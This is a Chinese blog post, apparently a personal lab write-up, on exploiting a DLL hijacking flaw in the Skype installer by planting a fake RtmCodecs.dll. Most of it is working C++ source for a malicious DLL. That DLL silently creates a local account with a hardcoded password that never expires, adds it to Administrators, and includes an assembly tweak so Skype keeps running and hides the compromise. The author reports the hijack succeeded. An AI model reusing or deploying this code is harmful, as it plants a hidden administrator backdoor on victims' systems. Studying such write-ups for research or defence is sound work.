zoukankan      html  css  js  c++  java
  • dll劫持技术探索

    0x1:实验背景

      看到国外一篇文章,大致描述如下:

    Hi,
    
    There are a dll planting vuln in skype installer. This vuln had been
    reported to Microsoft but they decided not fix this.
    
    Here is the vulnerability details:
    ------
    Skype installer in Windows is open to DLL hijacking.
    
    Skype looks for a specific DLL by dynamically going through a set of
    predefined directories. One of the directory being scanned is the
    installation directory, and this is exactly what is abused in this
    vulnerability.

      根据描述我们可以知道skype存在dll劫持漏洞,在试验中需要劫持的dll为RtmCodecs.dll,接下来我们开始试验。

    0x2: dll劫持原理

      由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。

    0x3:实验过程

      (1) 编写一个劫持指定dll程序原理

    1.查看被劫持的DLL的导出函数表。
    2.编程实现劫持DLL向原DLL的导出函数的转发,并加入你的“恶意代码”。
    

       (2) 由于文章里给出一个弹出会话框功能的dll,这里我们先看看作者怎么实现的。

    从上图可以看出,作者直接在DLL入口执行一个msaageBox函数 弹出对话框。我们也这样实现一个函数添加用户试试,主要代码如下

    msi.h

    #pragma once
    
    
    #ifdef DLLEXPORT
    #define DLL_INTERFACE __declspec(dllexport)
    #else
    #define DLL_INTERFACE __declspec(dllimport)
    #endif
    extern "C"{
    	DLL_INTERFACE void adduser();	 
    	
    }
    

     msi.cpp

    // msi.cpp : 定义 DLL 应用程序的导出函数。
    //
    
    #include "stdafx.h"
    #define DLLEXPORT
    
    #include "msi.h"
    
    DLL_INTERFACE void adduser()
    {
    	NET_API_STATUS		nStatus;
    	DWORD dwError		= 0;
    	DWORD dwLevel		= 1;
    	USER_INFO_1			ui;
    	ui.usri1_name		= L"iiis";   //用户名
    	ui.usri1_password	= L"password123!@#";   //密码
    	//ui.usri1_name		= argv[1];
    	//ui.usri1_password	= argv[1];
    	ui.usri1_priv		= USER_PRIV_USER;  //权限
    	ui.usri1_home_dir	= NULL;
    	ui.usri1_comment	= NULL;
    	ui.usri1_flags		= UF_SCRIPT|UF_DONT_EXPIRE_PASSWD|UF_PASSWD_CANT_CHANGE; //登录脚本执行,密码不可更改,密码永不过期
    	ui.usri1_script_path = NULL;
    
    	
    	nStatus = NetUserAdd(
    					NULL,
    					dwLevel,
    					(LPBYTE)&ui,
    					&dwError
    					);
    
    	if ( nStatus == NERR_Success || nStatus == NERR_UserExists )
    	{
    		std::cout << "add user success" << std::endl;
    	}
    	else
    	{
    		std::cout << "add user failed: " << nStatus << std::endl;
    		exit(-1);
    	}
    
    
    	LOCALGROUP_MEMBERS_INFO_3 account;
    	account.lgrmi3_domainandname=ui.usri1_name; //传入用户名
    	
    	nStatus = NetLocalGroupAddMembers(
    								NULL,
    								L"Administrators",
    								3,
    								(LPBYTE)&account,
    								1);
    
    	if ( nStatus == NERR_Success )
    	{
    		std::cout << "add localgroup success" << std::endl;
    	}
    	else
    	{
    		std::cout << "add localgroup failed: " << nStatus << std::endl;
    		exit(-1);
    	}
    	__asm JMP EAX;  // 初次测试没有这一句
    }
    

     编译,放进skpye的phone目录替换RtmCodecs.dll,然后启动skype,如图:

    劫持成功,但是skype崩溃掉了,分析一下原因,大概是没有实现劫持DLL向原DLL的导出函数的转发导致的,但是作者也没有这样实现怎么就不崩溃呢,于是反编译了一下skype原RtmCodecs.dll看看导出函数是长啥样的,如下图:

    结合IDA里面执行完messageBox函数后的eax清零操作,大概了解,应该在Adduser()执行完毕后对返回进行一下处理,于是在Adduser()函数体末尾添加

    __asm JMP EAX;
    

     指令,再编译测试,如下图:

    成功劫持并添加用户,skype也没有崩溃。

    0x4 后记:

      上述就是整个实验过程,当然在劫持指定dll的时候,为了程序能正常使用按照编写一个劫持指定dll程序原理去实现效果最好,在本次试验中,这个过程忽略了。

    0x5 参考:

      1. http://www.exploitalert.com/view-details.html?id=24885

      2. http://www.freebuf.com/articles/78807.html

  • 相关阅读:
    javascript之this的深入学习
    记一次前端面试
    nodejs学习
    Javascript内置对象
    Javascript事件
    全屏滚动插件小结
    Javascript函数的深入学习
    近年来前端开发趋势,MVVM框架,Vue.js的核心思想
    Javascript的for ... in循环
    JavaScript的对象深入学习
  • 原文地址:https://www.cnblogs.com/persuit/p/5924156.html
Copyright © 2011-2022 走看看